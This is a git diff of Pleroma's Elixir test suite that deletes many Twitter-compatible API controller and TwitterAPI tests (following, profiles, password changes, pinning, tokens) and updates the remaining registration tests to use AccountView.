- assert Enum.sort(expected) == Enum.sort(result)
- end
-
- test "it returns 20 friends per page, except if 'export' is set to true", %{conn: conn} do
- user = insert(:user)
- followeds = insert_list(21, :user)
-
- {:ok, user} =
- Enum.reduce(followeds, {:ok, user}, fn followed, {:ok, user} ->
- User.follow(user, followed)
- end)
-
- res_conn =
- conn
- |> assign(:user, user)
- |> get("/api/statuses/friends")
-
- result = json_response(res_conn, 200)
- assert length(result) == 20
-
- res_conn =
- conn
- |> assign(:user, user)
- |> get("/api/statuses/friends", %{page: 2})
-
- result = json_response(res_conn, 200)
- assert length(result) == 1
-
- res_conn =
- conn
- |> assign(:user, user)
- |> get("/api/statuses/friends", %{all: true})
-
- result = json_response(res_conn, 200)
- assert length(result) == 21
- end
-
- test "it returns a given user's friends with user_id", %{conn: conn} do
- user = insert(:user)
- followed_one = insert(:user)
- followed_two = insert(:user)
- _not_followed = insert(:user)
-
- {:ok, user} = User.follow(user, followed_one)
- {:ok, user} = User.follow(user, followed_two)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/statuses/friends", %{"user_id" => user.id})
-
- assert MapSet.equal?(
- MapSet.new(json_response(conn, 200)),
- MapSet.new(
- UserView.render("index.json", %{users: [followed_one, followed_two], for: user})
- )
- )
- end
-
- test "it returns empty when hide_follows is set to true", %{conn: conn} do
- user = insert(:user, %{info: %{hide_follows: true}})
- followed_one = insert(:user)
- followed_two = insert(:user)
- not_followed = insert(:user)
-
- {:ok, user} = User.follow(user, followed_one)
- {:ok, user} = User.follow(user, followed_two)
-
- conn =
- conn
- |> assign(:user, not_followed)
- |> get("/api/statuses/friends", %{"user_id" => user.id})
-
- assert [] == json_response(conn, 200)
- end
-
- test "it returns friends when hide_follows is set to true if the user themselves request it",
- %{
- conn: conn
- } do
- user = insert(:user, %{info: %{hide_follows: true}})
- followed_one = insert(:user)
- followed_two = insert(:user)
- _not_followed = insert(:user)
-
- {:ok, _user} = User.follow(user, followed_one)
- {:ok, _user} = User.follow(user, followed_two)
-
- response =
- conn
- |> assign(:user, user)
- |> get("/api/statuses/friends", %{"user_id" => user.id})
- |> json_response(200)
-
- refute [] == response
- end
-
- test "it returns a given user's friends with screen_name", %{conn: conn} do
- user = insert(:user)
- followed_one = insert(:user)
- followed_two = insert(:user)
- _not_followed = insert(:user)
-
- {:ok, user} = User.follow(user, followed_one)
- {:ok, user} = User.follow(user, followed_two)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/statuses/friends", %{"screen_name" => user.nickname})
-
- assert MapSet.equal?(
- MapSet.new(json_response(conn, 200)),
- MapSet.new(
- UserView.render("index.json", %{users: [followed_one, followed_two], for: user})
- )
- )
- end
- end
-
- describe "GET /friends/ids" do
- test "it returns a user's friends", %{conn: conn} do
- user = insert(:user)
- followed_one = insert(:user)
- followed_two = insert(:user)
- _not_followed = insert(:user)
-
- {:ok, user} = User.follow(user, followed_one)
- {:ok, user} = User.follow(user, followed_two)
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/friends/ids")
-
- expected = [followed_one.id, followed_two.id]
-
- assert MapSet.equal?(
- MapSet.new(Poison.decode!(json_response(conn, 200))),
- MapSet.new(expected)
- )
- end
- end
-
- describe "POST /api/account/update_profile.json" do
- test "it updates a user's profile", %{conn: conn} do
- user = insert(:user)
- user2 = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/account/update_profile.json", %{
- "name" => "new name",
- "description" => "hi @#{user2.nickname}"
- })
-
- user = Repo.get!(User, user.id)
- assert user.name == "new name"
-
- assert user.bio ==
- "hi <span class='h-card'><a data-user='#{user2.id}' class='u-url mention' href='#{
- user2.ap_id
- }'>@<span>#{user2.nickname}</span></a></span>"
-
- assert json_response(conn, 200) == UserView.render("user.json", %{user: user, for: user})
- end
-
- test "it sets and un-sets hide_follows", %{conn: conn} do
- user = insert(:user)
-
- conn
- |> assign(:user, user)
- |> post("/api/account/update_profile.json", %{
- "hide_follows" => "true"
- })
-
- user = Repo.get!(User, user.id)
- assert user.info.hide_follows == true
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/account/update_profile.json", %{
- "hide_follows" => "false"
- })
-
- user = refresh_record(user)
- assert user.info.hide_follows == false
- assert json_response(conn, 200) == UserView.render("user.json", %{user: user, for: user})
- end
-
- test "it sets and un-sets hide_followers", %{conn: conn} do
- user = insert(:user)
-
- conn
- |> assign(:user, user)
- |> post("/api/account/update_profile.json", %{
- "hide_followers" => "true"
- })
-
- user = Repo.get!(User, user.id)
- assert user.info.hide_followers == true
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/account/update_profile.json", %{
- "hide_followers" => "false"
- })
-
- user = Repo.get!(User, user.id)
- assert user.info.hide_followers == false
- assert json_response(conn, 200) == UserView.render("user.json", %{user: user, for: user})
- end
-
- test "it sets and un-sets show_role", %{conn: conn} do
- user = insert(:user)
-
- conn
- |> assign(:user, user)
- |> post("/api/account/update_profile.json", %{
- "show_role" => "true"
- })
-
- user = Repo.get!(User, user.id)
- assert user.info.show_role == true
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/account/update_profile.json", %{
- "show_role" => "false"
- })
-
- user = Repo.get!(User, user.id)
- assert user.info.show_role == false
- assert json_response(conn, 200) == UserView.render("user.json", %{user: user, for: user})
- end
-
- test "it sets and un-sets skip_thread_containment", %{conn: conn} do
- user = insert(:user)
-
- response =
- conn
- |> assign(:user, user)
- |> post("/api/account/update_profile.json", %{"skip_thread_containment" => "true"})
- |> json_response(200)
-
- assert response["pleroma"]["skip_thread_containment"] == true
- user = refresh_record(user)
- assert user.info.skip_thread_containment
-
- response =
- conn
- |> assign(:user, user)
- |> post("/api/account/update_profile.json", %{"skip_thread_containment" => "false"})
- |> json_response(200)
-
- assert response["pleroma"]["skip_thread_containment"] == false
- refute refresh_record(user).info.skip_thread_containment
- end
-
- test "it locks an account", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/account/update_profile.json", %{
- "locked" => "true"
- })
-
- user = Repo.get!(User, user.id)
- assert user.info.locked == true
-
- assert json_response(conn, 200) == UserView.render("user.json", %{user: user, for: user})
- end
-
- test "it unlocks an account", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/account/update_profile.json", %{
- "locked" => "false"
- })
-
- user = Repo.get!(User, user.id)
- assert user.info.locked == false
-
- assert json_response(conn, 200) == UserView.render("user.json", %{user: user, for: user})
- end
-
- # Broken before the change to class="emoji" and non-<img/> in the DB
- @tag :skip
- test "it formats emojos", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/account/update_profile.json", %{
- "bio" => "I love our :moominmamma:​"
- })
-
- assert response = json_response(conn, 200)
-
- assert %{
- "description" => "I love our :moominmamma:",
- "description_html" =>
- ~s{I love our <img class="emoji" alt="moominmamma" title="moominmamma" src="} <>
- _
- } = response
-
- conn =
- conn
- |> get("/api/users/show.json?user_id=#{user.nickname}")
-
- assert response == json_response(conn, 200)
- end
- end
-
- defp valid_user(_context) do
- user = insert(:user)
- [user: user]
- end
-
- defp with_credentials(conn, username, password) do
- header_content = "Basic " <> Base.encode64("#{username}:#{password}")
- put_req_header(conn, "authorization", header_content)
- end
-
- describe "GET /api/search.json" do
- test "it returns search results", %{conn: conn} do
- user = insert(:user)
- user_two = insert(:user, %{nickname: "shp@shitposter.club"})
-
- {:ok, activity} = CommonAPI.post(user, %{"status" => "This is about 2hu"})
- {:ok, _} = CommonAPI.post(user_two, %{"status" => "This isn't"})
-
- conn =
- conn
- |> get("/api/search.json", %{"q" => "2hu", "page" => "1", "rpp" => "1"})
-
- assert [status] = json_response(conn, 200)
- assert status["id"] == activity.id
- end
- end
-
- describe "GET /api/statusnet/tags/timeline/:tag.json" do
- test "it returns the tags timeline", %{conn: conn} do
- user = insert(:user)
- user_two = insert(:user, %{nickname: "shp@shitposter.club"})
-
- {:ok, activity} = CommonAPI.post(user, %{"status" => "This is about #2hu"})
- {:ok, _} = CommonAPI.post(user_two, %{"status" => "This isn't"})
-
- conn =
- conn
- |> get("/api/statusnet/tags/timeline/2hu.json")
-
- assert [status] = json_response(conn, 200)
- assert status["id"] == activity.id
- end
- end
-
- test "Convert newlines to <br> in bio", %{conn: conn} do
- user = insert(:user)
-
- _conn =
- conn
- |> assign(:user, user)
- |> post("/api/account/update_profile.json", %{
- "description" => "Hello,\r\nWorld! I\n am a test."
- })
-
- user = Repo.get!(User, user.id)
- assert user.bio == "Hello,<br>World! I<br> am a test."
- end
-
- describe "POST /api/pleroma/change_password" do
- setup [:valid_user]
-
- test "without credentials", %{conn: conn} do
- conn = post(conn, "/api/pleroma/change_password")
- assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
- end
-
- test "with credentials and invalid password", %{conn: conn, user: current_user} do
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post("/api/pleroma/change_password", %{
- "password" => "hi",
- "new_password" => "newpass",
- "new_password_confirmation" => "newpass"
- })
-
- assert json_response(conn, 200) == %{"error" => "Invalid password."}
- end
-
- test "with credentials, valid password and new password and confirmation not matching", %{
- conn: conn,
- user: current_user
- } do
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post("/api/pleroma/change_password", %{
- "password" => "test",
- "new_password" => "newpass",
- "new_password_confirmation" => "notnewpass"
- })
-
- assert json_response(conn, 200) == %{
- "error" => "New password does not match confirmation."
- }
- end
-
- test "with credentials, valid password and invalid new password", %{
- conn: conn,
- user: current_user
- } do
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post("/api/pleroma/change_password", %{
- "password" => "test",
- "new_password" => "",
- "new_password_confirmation" => ""
- })
-
- assert json_response(conn, 200) == %{
- "error" => "New password can't be blank."
- }
- end
-
- test "with credentials, valid password and matching new password and confirmation", %{
- conn: conn,
- user: current_user
- } do
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post("/api/pleroma/change_password", %{
- "password" => "test",
- "new_password" => "newpass",
- "new_password_confirmation" => "newpass"
- })
-
- assert json_response(conn, 200) == %{"status" => "success"}
- fetched_user = User.get_cached_by_id(current_user.id)
- assert Pbkdf2.checkpw("newpass", fetched_user.password_hash) == true
- end
- end
-
- describe "POST /api/pleroma/delete_account" do
- setup [:valid_user]
-
- test "without credentials", %{conn: conn} do
- conn = post(conn, "/api/pleroma/delete_account")
- assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
- end
-
- test "with credentials and invalid password", %{conn: conn, user: current_user} do
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post("/api/pleroma/delete_account", %{"password" => "hi"})
-
- assert json_response(conn, 200) == %{"error" => "Invalid password."}
- end
-
- test "with credentials and valid password", %{conn: conn, user: current_user} do
- conn =
- conn
- |> with_credentials(current_user.nickname, "test")
- |> post("/api/pleroma/delete_account", %{"password" => "test"})
-
- assert json_response(conn, 200) == %{"status" => "success"}
- # Wait a second for the started task to end
- :timer.sleep(1000)
- end
- end
-
- describe "GET /api/pleroma/friend_requests" do
- test "it lists friend requests" do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, _activity} = ActivityPub.follow(other_user, user)
-
- user = User.get_cached_by_id(user.id)
- other_user = User.get_cached_by_id(other_user.id)
-
- assert User.following?(other_user, user) == false
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> get("/api/pleroma/friend_requests")
-
- assert [relationship] = json_response(conn, 200)
- assert other_user.id == relationship["id"]
- end
-
- test "requires 'read' permission", %{conn: conn} do
- token1 = insert(:oauth_token, scopes: ["write"])
- token2 = insert(:oauth_token, scopes: ["read"])
-
- for token <- [token1, token2] do
- conn =
- conn
- |> put_req_header("authorization", "Bearer #{token.token}")
- |> get("/api/pleroma/friend_requests")
-
- if token == token1 do
- assert %{"error" => "Insufficient permissions: read."} == json_response(conn, 403)
- else
- assert json_response(conn, 200)
- end
- end
- end
- end
-
- describe "POST /api/pleroma/friendships/approve" do
- test "it approves a friend request" do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, _activity} = ActivityPub.follow(other_user, user)
-
- user = User.get_cached_by_id(user.id)
- other_user = User.get_cached_by_id(other_user.id)
-
- assert User.following?(other_user, user) == false
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> post("/api/pleroma/friendships/approve", %{"user_id" => other_user.id})
-
- assert relationship = json_response(conn, 200)
- assert other_user.id == relationship["id"]
- assert relationship["follows_you"] == true
- end
- end
-
- describe "POST /api/pleroma/friendships/deny" do
- test "it denies a friend request" do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, _activity} = ActivityPub.follow(other_user, user)
-
- user = User.get_cached_by_id(user.id)
- other_user = User.get_cached_by_id(other_user.id)
-
- assert User.following?(other_user, user) == false
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> post("/api/pleroma/friendships/deny", %{"user_id" => other_user.id})
-
- assert relationship = json_response(conn, 200)
- assert other_user.id == relationship["id"]
- assert relationship["follows_you"] == false
- end
- end
-
- describe "GET /api/pleroma/search_user" do
- test "it returns users, ordered by similarity", %{conn: conn} do
- user = insert(:user, %{name: "eal"})
- user_two = insert(:user, %{name: "eal me"})
- _user_three = insert(:user, %{name: "zzz"})
-
- resp =
- conn
- |> get(twitter_api_search__path(conn, :search_user), query: "eal me")
- |> json_response(200)
-
- assert length(resp) == 2
- assert [user_two.id, user.id] == Enum.map(resp, fn %{"id" => id} -> id end)
- end
- end
-
- describe "POST /api/media/upload" do
- setup context do
- Pleroma.DataCase.ensure_local_uploader(context)
- end
-
- test "it performs the upload and sets `data[actor]` with AP id of uploader user", %{
- conn: conn
- } do
- user = insert(:user)
-
- upload_filename = "test/fixtures/image_tmp.jpg"
- File.cp!("test/fixtures/image.jpg", upload_filename)
-
- file = %Plug.Upload{
- content_type: "image/jpg",
- path: Path.absname(upload_filename),
- filename: "image.jpg"
- }
-
- response =
- conn
- |> assign(:user, user)
- |> put_req_header("content-type", "application/octet-stream")
- |> post("/api/media/upload", %{
- "media" => file
- })
- |> json_response(:ok)
-
- assert response["media_id"]
- object = Repo.get(Object, response["media_id"])
- assert object
- assert object.data["actor"] == User.ap_id(user)
- end
- end
-
- describe "POST /api/media/metadata/create" do
- setup do
- object = insert(:note)
- user = User.get_cached_by_ap_id(object.data["actor"])
- %{object: object, user: user}
- end
-
- test "it returns :forbidden status on attempt to modify someone else's upload", %{
- conn: conn,
- object: object
- } do
- initial_description = object.data["name"]
- another_user = insert(:user)
-
- conn
- |> assign(:user, another_user)
- |> post("/api/media/metadata/create", %{"media_id" => object.id})
- |> json_response(:forbidden)
-
- object = Repo.get(Object, object.id)
- assert object.data["name"] == initial_description
- end
-
- test "it updates `data[name]` of referenced Object with provided value", %{
- conn: conn,
- object: object,
- user: user
- } do
- description = "Informative description of the image. Initial value: #{object.data["name"]}}"
-
- conn
- |> assign(:user, user)
- |> post("/api/media/metadata/create", %{
- "media_id" => object.id,
- "alt_text" => %{"text" => description}
- })
- |> json_response(:no_content)
-
- object = Repo.get(Object, object.id)
- assert object.data["name"] == description
- end
- end
-
- describe "POST /api/statuses/user_timeline.json?user_id=:user_id&pinned=true" do
- test "it returns a list of pinned statuses", %{conn: conn} do
- Pleroma.Config.put([:instance, :max_pinned_statuses], 1)
-
- user = insert(:user, %{name: "egor"})
- {:ok, %{id: activity_id}} = CommonAPI.post(user, %{"status" => "HI!!!"})
- {:ok, _} = CommonAPI.pin(activity_id, user)
-
- resp =
- conn
- |> get("/api/statuses/user_timeline.json", %{user_id: user.id, pinned: true})
- |> json_response(200)
-
- assert length(resp) == 1
- assert [%{"id" => ^activity_id, "pinned" => true}] = resp
- end
- end
-
- describe "POST /api/statuses/pin/:id" do
- setup do
- Pleroma.Config.put([:instance, :max_pinned_statuses], 1)
- [user: insert(:user)]
- end
-
- test "without valid credentials", %{conn: conn} do
- note_activity = insert(:note_activity)
- conn = post(conn, "/api/statuses/pin/#{note_activity.id}.json")
- assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
- end
-
- test "with credentials", %{conn: conn, user: user} do
- {:ok, activity} = CommonAPI.post(user, %{"status" => "test!"})
-
- request_path = "/api/statuses/pin/#{activity.id}.json"
-
- response =
- conn
- |> with_credentials(user.nickname, "test")
- |> post(request_path)
-
- user = refresh_record(user)
-
- assert json_response(response, 200) ==
- ActivityView.render("activity.json", %{user: user, for: user, activity: activity})
- end
- end
-
- describe "POST /api/statuses/unpin/:id" do
- setup do
- Pleroma.Config.put([:instance, :max_pinned_statuses], 1)
- [user: insert(:user)]
- end
-
- test "without valid credentials", %{conn: conn} do
- note_activity = insert(:note_activity)
- conn = post(conn, "/api/statuses/unpin/#{note_activity.id}.json")
- assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
- end
-
- test "with credentials", %{conn: conn, user: user} do
- {:ok, activity} = CommonAPI.post(user, %{"status" => "test!"})
- {:ok, activity} = CommonAPI.pin(activity.id, user)
-
- request_path = "/api/statuses/unpin/#{activity.id}.json"
-
- response =
- conn
- |> with_credentials(user.nickname, "test")
- |> post(request_path)
-
- user = refresh_record(user)
-
- assert json_response(response, 200) ==
- ActivityView.render("activity.json", %{user: user, for: user, activity: activity})
- end
- end
-
- describe "GET /api/oauth_tokens" do
- setup do
- token = insert(:oauth_token) |> Repo.preload(:user)
-
- %{token: token}
- end
-
- test "renders list", %{token: token} do
- response =
- build_conn()
- |> assign(:user, token.user)
- |> get("/api/oauth_tokens")
-
- keys =
- json_response(response, 200)
- |> hd()
- |> Map.keys()
-
- assert keys -- ["id", "app_name", "valid_until"] == []
- end
-
- test "revoke token", %{token: token} do
- response =
- build_conn()
- |> assign(:user, token.user)
- |> delete("/api/oauth_tokens/#{token.id}")
-
- tokens = Token.get_user_tokens(token.user)
-
- assert tokens == []
- assert response.status == 201
- end
- end
-end
diff --git a/test/web/twitter_api/twitter_api_test.exs b/test/web/twitter_api/twitter_api_test.exs
index cbe83852e..85a9be3e0 100644
--- a/test/web/twitter_api/twitter_api_test.exs
+++ b/test/web/twitter_api/twitter_api_test.exs
@@ -1,273 +1,21 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
use Pleroma.DataCase
- alias Pleroma.Activity
- alias Pleroma.Object
alias Pleroma.Repo
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.UserInviteToken
- alias Pleroma.Web.ActivityPub.ActivityPub
- alias Pleroma.Web.TwitterAPI.ActivityView
+ alias Pleroma.Web.MastodonAPI.AccountView
alias Pleroma.Web.TwitterAPI.TwitterAPI
- alias Pleroma.Web.TwitterAPI.UserView
-
- import Pleroma.Factory
setup_all do
Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
:ok
end
- test "create a status" do
- user = insert(:user)
- mentioned_user = insert(:user, %{nickname: "shp", ap_id: "shp"})
-
- object_data = %{
- "type" => "Image",
- "url" => [
- %{
- "type" => "Link",
- "mediaType" => "image/jpg",
- "href" => "http://example.org/image.jpg"
- }
- ],
- "uuid" => 1
- }
-
- object = Repo.insert!(%Object{data: object_data})
-
- input = %{
- "status" =>
- "Hello again, @shp.<script></script>\nThis is on another :firefox: line. #2hu #epic #phantasmagoric",
- "media_ids" => [object.id]
- }
-
- {:ok, activity = %Activity{}} = TwitterAPI.create_status(user, input)
- object = Object.normalize(activity)
-
- expected_text =
- "Hello again, <span class='h-card'><a data-user='#{mentioned_user.id}' class='u-url mention' href='shp'>@<span>shp</span></a></span>.&lt;script&gt;&lt;/script&gt;<br>This is on another :firefox: line. <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a> <a class='hashtag' data-tag='epic' href='http://localhost:4001/tag/epic' rel='tag'>#epic</a> <a class='hashtag' data-tag='phantasmagoric' href='http://localhost:4001/tag/phantasmagoric' rel='tag'>#phantasmagoric</a><br><a href=\"http://example.org/image.jpg\" class='attachment'>image.jpg</a>"
-
- assert get_in(object.data, ["content"]) == expected_text
- assert get_in(object.data, ["type"]) == "Note"
- assert get_in(object.data, ["actor"]) == user.ap_id
- assert get_in(activity.data, ["actor"]) == user.ap_id
- assert Enum.member?(get_in(activity.data, ["cc"]), User.ap_followers(user))
-
- assert Enum.member?(
- get_in(activity.data, ["to"]),
- "https://www.w3.org/ns/activitystreams#Public"
- )
-
- assert Enum.member?(get_in(activity.data, ["to"]), "shp")
- assert activity.local == true
-
- assert %{"firefox" => "http://localhost:4001/emoji/Firefox.gif"} = object.data["emoji"]
-
- # hashtags
- assert object.data["tag"] == ["2hu", "epic", "phantasmagoric"]
-
- # Add a context
- assert is_binary(get_in(activity.data, ["context"]))
- assert is_binary(get_in(object.data, ["context"]))
-
- assert is_list(object.data["attachment"])
-
- assert activity.data["object"] == object.data["id"]
-
- user = User.get_cached_by_ap_id(user.ap_id)
-
- assert user.info.note_count == 1
- end
-
- test "create a status that is a reply" do
- user = insert(:user)
-
- input = %{
- "status" => "Hello again."
- }
-
- {:ok, activity = %Activity{}} = TwitterAPI.create_status(user, input)
- object = Object.normalize(activity)
-
- input = %{
- "status" => "Here's your (you).",
- "in_reply_to_status_id" => activity.id
- }
-
- {:ok, reply = %Activity{}} = TwitterAPI.create_status(user, input)
- reply_object = Object.normalize(reply)
-
- assert get_in(reply.data, ["context"]) == get_in(activity.data, ["context"])
-
- assert get_in(reply_object.data, ["context"]) == get_in(object.data, ["context"])
-
- assert get_in(reply_object.data, ["inReplyTo"]) == get_in(activity.data, ["object"])
- assert Activity.get_in_reply_to_activity(reply).id == activity.id
- end
-
- test "Follow another user using user_id" do
- user = insert(:user)
- followed = insert(:user)
-
- {:ok, user, followed, _activity} = TwitterAPI.follow(user, %{"user_id" => followed.id})
- assert User.ap_followers(followed) in user.following
-
- {:ok, _, _, _} = TwitterAPI.follow(user, %{"user_id" => followed.id})
- end
-
- test "Follow another user using screen_name" do
- user = insert(:user)
- followed = insert(:user)
-
- {:ok, user, followed, _activity} =
- TwitterAPI.follow(user, %{"screen_name" => followed.nickname})
-
- assert User.ap_followers(followed) in user.following
-
- followed = User.get_cached_by_ap_id(followed.ap_id)
- assert followed.info.follower_count == 1
-
- {:ok, _, _, _} = TwitterAPI.follow(user, %{"screen_name" => followed.nickname})
- end
-
- test "Unfollow another user using user_id" do
- unfollowed = insert(:user)
- user = insert(:user, %{following: [User.ap_followers(unfollowed)]})
- ActivityPub.follow(user, unfollowed)
-
- {:ok, user, unfollowed} = TwitterAPI.unfollow(user, %{"user_id" => unfollowed.id})
- assert user.following == []
-
- {:error, msg} = TwitterAPI.unfollow(user, %{"user_id" => unfollowed.id})
- assert msg == "Not subscribed!"
- end
-
- test "Unfollow another user using screen_name" do
- unfollowed = insert(:user)
- user = insert(:user, %{following: [User.ap_followers(unfollowed)]})
-
- ActivityPub.follow(user, unfollowed)
-
- {:ok, user, unfollowed} = TwitterAPI.unfollow(user, %{"screen_name" => unfollowed.nickname})
- assert user.following == []
-
- {:error, msg} = TwitterAPI.unfollow(user, %{"screen_name" => unfollowed.nickname})
- assert msg == "Not subscribed!"
- end
-
- test "Block another user using user_id" do
- user = insert(:user)
- blocked = insert(:user)
-
- {:ok, user, blocked} = TwitterAPI.block(user, %{"user_id" => blocked.id})
- assert User.blocks?(user, blocked)
- end
-
- test "Block another user using screen_name" do
- user = insert(:user)
- blocked = insert(:user)
-
- {:ok, user, blocked} = TwitterAPI.block(user, %{"screen_name" => blocked.nickname})
- assert User.blocks?(user, blocked)
- end
-
- test "Unblock another user using user_id" do
- unblocked = insert(:user)
- user = insert(:user)
- {:ok, user, _unblocked} = TwitterAPI.block(user, %{"user_id" => unblocked.id})
-
- {:ok, user, _unblocked} = TwitterAPI.unblock(user, %{"user_id" => unblocked.id})
- assert user.info.blocks == []
- end
-
- test "Unblock another user using screen_name" do
- unblocked = insert(:user)
- user = insert(:user)
- {:ok, user, _unblocked} = TwitterAPI.block(user, %{"screen_name" => unblocked.nickname})
-
- {:ok, user, _unblocked} = TwitterAPI.unblock(user, %{"screen_name" => unblocked.nickname})
- assert user.info.blocks == []
- end
-
- test "upload a file" do
- user = insert(:user)
-
- file = %Plug.Upload{
- content_type: "image/jpg",
- path: Path.absname("test/fixtures/image.jpg"),
- filename: "an_image.jpg"
- }
-
- response = TwitterAPI.upload(file, user)
-
- assert is_binary(response)
- end
-
- test "it favorites a status, returns the updated activity" do
- user = insert(:user)
- other_user = insert(:user)
- note_activity = insert(:note_activity)
-
- {:ok, status} = TwitterAPI.fav(user, note_activity.id)
- updated_activity = Activity.get_by_ap_id(note_activity.data["id"])
- assert ActivityView.render("activity.json", %{activity: updated_activity})["fave_num"] == 1
-
- object = Object.normalize(note_activity)
-
- assert object.data["like_count"] == 1
-
- assert status == updated_activity
-
- {:ok, _status} = TwitterAPI.fav(other_user, note_activity.id)
-
- object = Object.normalize(note_activity)
-
- assert object.data["like_count"] == 2
-
- updated_activity = Activity.get_by_ap_id(note_activity.data["id"])
- assert ActivityView.render("activity.json", %{activity: updated_activity})["fave_num"] == 2
- end
-
- test "it unfavorites a status, returns the updated activity" do
- user = insert(:user)
- note_activity = insert(:note_activity)
- object = Object.normalize(note_activity)
-
- {:ok, _like_activity, _object} = ActivityPub.like(user, object)
- updated_activity = Activity.get_by_ap_id(note_activity.data["id"])
-
- assert ActivityView.render("activity.json", activity: updated_activity)["fave_num"] == 1
-
- {:ok, activity} = TwitterAPI.unfav(user, note_activity.id)
-
- assert ActivityView.render("activity.json", activity: activity)["fave_num"] == 0
- end
-
- test "it retweets a status and returns the retweet" do
- user = insert(:user)
- note_activity = insert(:note_activity)
-
- {:ok, status} = TwitterAPI.repeat(user, note_activity.id)
- updated_activity = Activity.get_by_ap_id(note_activity.data["id"])
-
- assert status == updated_activity
- end
-
- test "it unretweets an already retweeted status" do
- user = insert(:user)
- note_activity = insert(:note_activity)
-
- {:ok, _status} = TwitterAPI.repeat(user, note_activity.id)
- {:ok, status} = TwitterAPI.unrepeat(user, note_activity.id)
- updated_activity = Activity.get_by_ap_id(note_activity.data["id"])
-
- assert status == updated_activity
- end
-
test "it registers a new user and returns the user." do
data = %{
"nickname" => "lain",
@@ -281,8 +29,8 @@ defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
fetched_user = User.get_cached_by_nickname("lain")
- assert UserView.render("show.json", %{user: user}) ==
- UserView.render("show.json", %{user: fetched_user})
+ assert AccountView.render("show.json", %{user: user}) ==
+ AccountView.render("show.json", %{user: fetched_user})
end
test "it registers a new user with empty string in bio and returns the user." do
@@ -299,8 +47,8 @@ defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
fetched_user = User.get_cached_by_nickname("lain")
- assert UserView.render("show.json", %{user: user}) ==
- UserView.render("show.json", %{user: fetched_user})
+ assert AccountView.render("show.json", %{user: user}) ==
+ AccountView.render("show.json", %{user: fetched_user})
end
test "it sends confirmation email if :account_activation_required is specified in instance config" do
@@ -321,8 +69,9 @@ defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
}
{:ok, user} = TwitterAPI.register_user(data)
+ ObanHelpers.perform_all()
- assert user.info.confirmation_pending
+ assert user.confirmation_pending
email = Pleroma.Emails.UserEmail.account_confirmation_email(user)
@@ -360,7 +109,9 @@ defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
{:ok, user2} = TwitterAPI.register_user(data2)
expected_text =
- "<span class='h-card'><a data-user='#{user1.id}' class='u-url mention' href='#{user1.ap_id}'>@<span>john</span></a></span> test"
+ ~s(<span class="h-card"><a data-user="#{user1.id}" class="u-url mention" href="#{
+ user1.ap_id
+ }" rel="ugc">@<span>john</span></a></span> test)
assert user2.bio == expected_text
end
@@ -397,8 +148,8 @@ defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
assert invite.used == true
- assert UserView.render("show.json", %{user: user}) ==
- UserView.render("show.json", %{user: fetched_user})
+ assert AccountView.render("show.json", %{user: user}) ==
+ AccountView.render("show.json", %{user: fetched_user})
end
test "returns error on invalid token" do
@@ -462,8 +213,8 @@ defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
{:ok, user} = TwitterAPI.register_user(data)
fetched_user = User.get_cached_by_nickname("vinny")
- assert UserView.render("show.json", %{user: user}) ==
- UserView.render("show.json", %{user: fetched_user})
+ assert AccountView.render("show.json", %{user: user}) ==
+ AccountView.render("show.json", %{user: fetched_user})
end
{:ok, data: data, check_fn: check_fn}
@@ -537,8 +288,8 @@ defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
assert invite.used == true
- assert UserView.render("show.json", %{user: user}) ==
- UserView.render("show.json", %{user: fetched_user})
+ assert AccountView.render("show.json", %{user: user}) ==
+ AccountView.render("show.json", %{user: fetched_user})
data = %{
"nickname" => "GrimReaper",
@@ -588,8 +339,8 @@ defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
refute invite.used
- assert UserView.render("show.json", %{user: user}) ==
- UserView.render("show.json", %{user: fetched_user})
+ assert AccountView.render("show.json", %{user: user}) ==
+ AccountView.render("show.json", %{user: fetched_user})
end
test "error after max uses" do
@@ -612,8 +363,8 @@ defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
invite = Repo.get_by(UserInviteToken, token: invite.token)
assert invite.used == true
- assert UserView.render("show.json", %{user: user}) ==
- UserView.render("show.json", %{user: fetched_user})
+ assert AccountView.render("show.json", %{user: user}) ==
+ AccountView.render("show.json", %{user: fetched_user})
data = %{
"nickname" => "GrimReaper",
